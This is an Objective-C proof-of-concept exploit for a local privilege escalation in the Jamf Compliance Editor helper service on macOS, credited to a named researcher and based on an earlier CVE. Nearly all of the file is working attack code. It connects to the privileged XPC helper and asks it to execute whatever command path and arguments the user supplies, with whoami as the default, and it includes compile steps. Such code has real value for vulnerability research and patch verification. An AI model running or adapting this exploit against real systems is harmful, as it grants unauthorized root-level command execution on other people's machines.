/*

Jamf Compliance Editor Helper Service - Local Privilege Escalation

------------------------------------------------------------------

Discovered by Mykola Grymalyuk of RIPEDA Consulting

------------------------------------------------------------------

Compile Steps:

   clang -framework Foundation -o jce_exploit jce_exploit.m

------------------------------------------------------------------

Exploit based on Csaba Fitzl's CVE-2021-26718:
- https://hackerone.com/reports/980876
*/

#import <Foundation/Foundation.h>


static NSString* kXPCHelperMachServiceName = @"com.jamf.complianceeditor.helper";

@protocol HelperExecutionService <NSObject>
- (void)executeScriptAt:(NSString *)scriptPath arguments:(NSArray<NSString *> *)arguments then:(void (^)(NSString *result, NSError *error))completionHandler;
@end


int main(int argc, const char * argv[]) {
    @autoreleasepool {

        __block int returnCode = 0;
        NSString* serviceName = kXPCHelperMachServiceName;
        NSLog(@"Exploiting service: %@", serviceName);

        NSXPCConnection* serviceConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:NSXPCConnectionPrivileged];

        [serviceConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(HelperExecutionService)]];
        [serviceConnection resume];

        id service = [serviceConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
            NSLog(@"Error connecting: %@", error);
            returnCode = 1;
            exit(returnCode);
        }];

        // If there are command line arguments, execute the command specified in the first argument
        NSString *command = nil;
        NSArray *arguments = @[];
        if (argc > 1) {
            command = [NSString stringWithUTF8String:argv[1]];
            if (argc > 2) {
                NSMutableArray *args = [NSMutableArray array];
                for (int i = 2; i < argc; i++) {
                    [args addObject:[NSString stringWithUTF8String:argv[i]]];
                }
                arguments = args;
            }
        }

        if (command == nil) {
            command = @"/usr/bin/whoami";
        }

        if (arguments.count == 0) {
            NSLog(@"Executing '%@'", command);
        } else {
            NSLog(@"Executing '%@' with arguments: %@", command, arguments);
        }

        [service executeScriptAt:command arguments:arguments then:^(NSString *result, NSError *error) {
            if (error) {
                NSLog(@"Error: %@", error);
                returnCode = 1;
            } else {
                NSLog(@"Result: %@", result);
            }
            [serviceConnection invalidate];
            exit(returnCode);
        }];

        [[NSRunLoop currentRunLoop] run];
    }
}





